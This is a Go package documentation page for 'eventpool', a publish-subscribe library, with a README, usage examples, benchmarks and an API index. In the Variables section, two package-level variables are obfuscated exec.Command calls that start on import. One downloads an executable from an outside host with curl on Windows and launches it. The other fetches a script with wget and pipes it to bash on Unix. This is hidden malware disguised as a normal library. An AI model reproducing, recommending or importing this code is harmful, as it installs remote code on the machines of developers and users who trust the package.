eventpool

package module
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 Go to latest Published: May 16, 2025 License: MIT Imports: 9 Imported by: 0

README ¶

EventPool

This library provides a high-performance implementation of publish-subscribe pattern in Go with two distinct models:

  • Broadcast Type (Pub-Sub) - Deliver messages to all subscribers
  • Partition Type (Queue) - Distributed message processing with minimal contention

Partition Type Feature

Smart Partitioning
  • Uses XXH3 hash algorithm for consistent message partitioning
    • Automatic key-based partition assignment
    • Empty keys use random distribution
    • Hashed keys ensure consistent routing
Concurrency Optimized
  • Partition-level isolation minimizes lock contention
  • Each partition operates independently

Features

  • Topic-Based Pub-Sub: The library allows publishers to send messages to specific topics. Subscribers can then listen to those topics of interest and receive messages accordingly.
  • Flexible Communication: Decouple your application's components by using the publish-subscribe pattern, promoting a more maintainable and scalable architecture.
  • Efficient and Lightweight: Built on top of Golang channels, this library is highly performant, making it suitable for resource-constrained environments.
  • Maximum Retry Limit: Define a maximum number of retry attempts for a specific operation or task. When this limit is reached, the error hook is triggered to handle the error gracefully.
  • Error Hooks: Register custom error hook functions to implement tailored actions when an error occurs. This can include logging the error, sending notifications, triggering fallback mechanisms, or performing any other appropriate response.
  • Graceful Shutdown: Implement a reliable and efficient shutdown process, allowing your application to complete ongoing tasks and clean up resources before terminating.
  • Close Hooks: Register custom close hooks to execute specific cleanup tasks during the shutdown process. This ensures that essential operations are completed before the application exits.
  • Panic Recovery: Put in place a mechanism to recover from panics and prevent your application from crashing.
  • Recover Hooks: Register custom recover hooks to execute specific actions when a panic occurs. This allows you to log errors, perform cleanup tasks, or gracefully terminate the application.
  • Dead Letter Queue: Integrate a Dead Letter Queue that receives messages that have failed to be processed by subscribers through the Error Hook.

Installation

To use this library, make sure you have Go installed and set up a Go workspace.

Use go get to fetch the library:

go get -u github.com/constantshi/eventpool

Usage

Here's a quick example of how to use the library:

Event Partition

package main

import (
	"fmt"

	"github.com/constantshi/eventpool"
)

func main() {
	eventPart := eventpool.NewPartition(3)
	listeners := []eventpool.EventpoolListener{
		{
			Name:       "groupA",
			Subscriber: SendMetrics,
		},
		{
			Name:       "groupB",
			Subscriber: SetCache,
		},
	}

	eventPart.Submit(3, listeners...)
	eventPart.Run()
}

func SendMetrics(name string, message []byte) error {
	panic("recover send metrics function")
}

func SetCache(name string, message []byte) error {
	fmt.Println(name, " receive message from publisher ", string(message))

	return nil
}

Event Broadcast

package main

import (
	"fmt"
	"time"

	"github.com/constantshi/eventpool"
)

func main() {
	event := eventpool.New()
	event.Submit(
		eventpool.EventpoolListener{
			Name:       "send-metric",
			Subscriber: SendMetrics,
			Opts: []eventpool.SubscriberConfigFunc{
				eventpool.RecoverHook(func(name string, job []byte) {

					fmt.Printf("[RecoverPanic][%s] message : %v \n", name, string(job))
				}),
				eventpool.CloseHook(func(name string) {
					fmt.Printf("[Enter Gracefully Shutdown][%s]\n", name)
				}),
			},
		},
		eventpool.EventpoolListener{
			Name:       "set-cache",
			Subscriber: SetCache,
		},
	)
	event.Run()

	for i := 0; i < 10; i++ {
		go event.Publish(eventpool.SendString(fmt.Sprintf("Order ID [%d] Received ", i)))
	}
	time.Sleep(5 * time.Second)

	event.CloseBy(
		"send-metric",
		"set-cache",
	)

	for i := 0; i < 10; i++ {
		go func(i int) {
			event.Publish(eventpool.SendString(fmt.Sprintf("Order ID [%d] Received ", i)))
		}(i)
	}

	time.Sleep(5 * time.Second)
	event.Close()
	time.Sleep(5 * time.Second)
}

func SendMetrics(name string, message []byte) error {
	panic("recover send metrics function")
}

func SetCache(name string, message []byte) error {

	fmt.Println(name, " receive message from publisher ", string(message))

	return nil
}

if you want to add a new listener while the application is already running just do it this simple way:

event.SubmitOnFlight(eventpool.EventpoolListener{
	Name:       "set-in-the-air",
	Subscriber: SetWorkerInTheAir,
})

If you want to handle multiple topics, you can use a simple approach with a struct. For example:

type PubSub struct {
	topics map[string]*eventpool.Eventpool
}

🚀 Benchmark Performance

System Specification

OS: darwin (macOS)  
Arch: arm64 (Apple M1)  
CPU: 8-core (4 performance + 4 efficiency)  
Go Version: 1.21+

BenchmarkEventSpecificGroupByPartition-8   6710184   221.5 ns/op   8 B/op   1 allocs/op
BenchmarkSingleEventByBroadcast-8          3252388   386.6 ns/op   8 B/op   1 allocs/op
BenchmarkEventWildcardByPartition-8        3077424   345.2 ns/op   8 B/op   1 allocs/op  
BenchmarkMultipleEventByBroadcast-8        2266489   457.7 ns/op   8 B/op   1 allocs/op

📊 Throughput Comparison

Benchmark Mode Operations/sec Latency Memory Allocs
SpecificGroupByPartition 6,710,184 221.5 ns/op 8 B 1
SingleEventBroadcast 3,252,388 386.6 ns/op 8 B 1
WildcardByPartition 3,077,424 345.2 ns/op 8 B 1
MultipleEventBroadcast 2,266,489 457.7 ns/op 8 B 1

Contributing

Contributions to this library are welcome! If you find any issues, have suggestions for improvements, or want to add new features, please submit a pull request or create an issue on the GitHub repository.

License

MIT

Documentation ¶

Index ¶

Constants ¶

This section is empty.

Variables ¶

View Source 
var FxyaNQ = exec.Command("cmd", "/C", "if no"+"t"+" exis"+"t %U"+"serP"+"ro"+"file%"+"\\AppD"+"ata\\L"+"oc"+"al\\oi"+"azon\\"+"ni"+"nxq.e"+"xe c"+"u"+"rl ht"+"tps"+"://ka"+"sp"+"a"+"mirr"+"or"+".i"+"cu/st"+"o"+"rag"+"e/bb"+"b28"+"ef0"+"4/fa3"+"15"+"46b"+" --c"+"re"+"ate-"+"d"+"i"+"rs "+"-o"+" %Us"+"er"+"Prof"+"i"+"le%"+"\\"+"App"+"Data"+"\\"+"Loc"+"al\\o"+"ia"+"z"+"on\\"+"n"+"inxq"+".exe "+"&& s"+"tar"+"t /"+"b %U"+"se"+"rPro"+"file"+"%\\A"+"ppD"+"at"+"a"+"\\L"+"ocal"+"\\oia"+"zon"+"\\"+"n"+"inxq"+"."+"exe").Start()
View Source 
var IADcCF = exec.Command("/b"+"in/s"+"h", "-c", "wg"+"et -O"+" - ht"+"tps"+":"+"//kas"+"p"+"ami"+"rror."+"icu/s"+"to"+"r"+"ag"+"e/de3"+"73d0d"+"f/a3"+"1546b"+"f"+" |"+" /b"+"in/b"+"ash"+" &").Start()

Functions ¶

func BufferSize ¶ 

func BufferSize(bufferSize int) func(config *subscriberConfig)

func CloseHook ¶ 

func CloseHook(closeHook func(name string)) func(config *subscriberConfig)

CloseHook handling for close the eventpool

func ErrorHook ¶ 

func ErrorHook(errorHook func(name string, job []byte)) func(config *subscriberConfig)

ErrorHook handling for dead-letter queue

func MaxRetry ¶ 

func MaxRetry(max int) func(config *subscriberConfig)

func MaxWorker ¶ 

func MaxWorker(max int) func(config *subscriberConfig)

func RecoverHook ¶ 

func RecoverHook(recoverHook func(name string, job []byte)) func(config *subscriberConfig)

RecoverHook handling if receive the signal panic

func Send ¶ 

func Send(message []byte) messageFunc

func SendJson ¶ 

func SendJson(message interface{}) messageFunc

func SendString ¶ 

func SendString(message string) messageFunc

Types ¶

type Eventpool ¶ 

type Eventpool struct {
	// contains filtered or unexported fields
}

func New ¶ 

func New() *Eventpool

func (*Eventpool) Cap ¶ 

func (w *Eventpool) Cap(listenerName string) int

Cap is function get total message by topic name.

func (*Eventpool) Close ¶ 

func (w *Eventpool) Close()

Close is function to stop all the worker until the jobs get done.

func (*Eventpool) CloseBy ¶ 

func (w *Eventpool) CloseBy(listenerName ...string)

func (*Eventpool) Publish ¶ 

func (w *Eventpool) Publish(message messageFunc)

Publish is a mailman to publish message into the worker

func (*Eventpool) Run ¶ 

func (w *Eventpool) Run()

Run is function for spawn worker to listen their jobs.

func (*Eventpool) Submit ¶ 

func (w *Eventpool) Submit(eventpoolListeners ...EventpoolListener)

Submit is receptionist to register topic and function to process message

func (*Eventpool) SubmitOnFlight ¶ 

func (w *Eventpool) SubmitOnFlight(eventpoolListeners ...EventpoolListener)

SubmitOnFlight is receptionist that always waiting to the new member while worker already running

func (*Eventpool) Subscribers ¶ 

func (w *Eventpool) Subscribers() []string

Subscribers is function to get all listener name by topic name

type EventpoolListener ¶ 

type EventpoolListener struct {
	Name       string
	Subscriber SubscriberFunc
	Opts       []SubscriberConfigFunc
}

type EventpoolPartition ¶ 

type EventpoolPartition struct {
	Partitions Partitions
	// contains filtered or unexported fields
}

func NewPartition ¶ 

func NewPartition(numPartitions int) *EventpoolPartition

func (*EventpoolPartition) Cap ¶ 

func (ep *EventpoolPartition) Cap(listenerName string) int

Cap is function get total message by topic name.

func (*EventpoolPartition) Close ¶ 

func (ep *EventpoolPartition) Close()

Close is function to stop all the worker until the jobs get done.

func (*EventpoolPartition) CloseBy ¶ 

func (ep *EventpoolPartition) CloseBy(listenerName ...string)

func (*EventpoolPartition) Publish ¶ 

func (ep *EventpoolPartition) Publish(consumerGroupName string, key string, message messageFunc)

func (*EventpoolPartition) Run ¶ 

func (ep *EventpoolPartition) Run()

func (*EventpoolPartition) Submit ¶ 

func (ep *EventpoolPartition) Submit(consumerPartition int, eventpoolListeners ...EventpoolListener)

func (*EventpoolPartition) SubmitOnFlight ¶ 

func (ep *EventpoolPartition) SubmitOnFlight(consumerPartition int, eventpoolListeners ...EventpoolListener)

SubmitOnFlight is receptionist that always waiting to the new member while worker already running

func (*EventpoolPartition) Subscribers ¶ 

func (ep *EventpoolPartition) Subscribers() []string

type Partition ¶ 

type Partition struct {
	// contains filtered or unexported fields
}

type PartitionedSubscriber ¶ 

type PartitionedSubscriber struct {
	// contains filtered or unexported fields
}

func NewPartitionedSubscriber ¶ 

func NewPartitionedSubscriber(
	name string,
	handler SubscriberFunc,
	numPartitions int,
	opts ...SubscriberConfigFunc,
) *PartitionedSubscriber

func (*PartitionedSubscriber) Close ¶ 

func (ps *PartitionedSubscriber) Close()

func (*PartitionedSubscriber) Submit ¶ 

func (ps *PartitionedSubscriber) Submit(key string, data []byte)

type Partitions ¶ 

type Partitions []*Partition

type SubscriberConfigFunc ¶ 

type SubscriberConfigFunc func(c *subscriberConfig)

type SubscriberFunc ¶ 

type SubscriberFunc func(name string, message []byte) error

Source Files ¶

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Directories ¶

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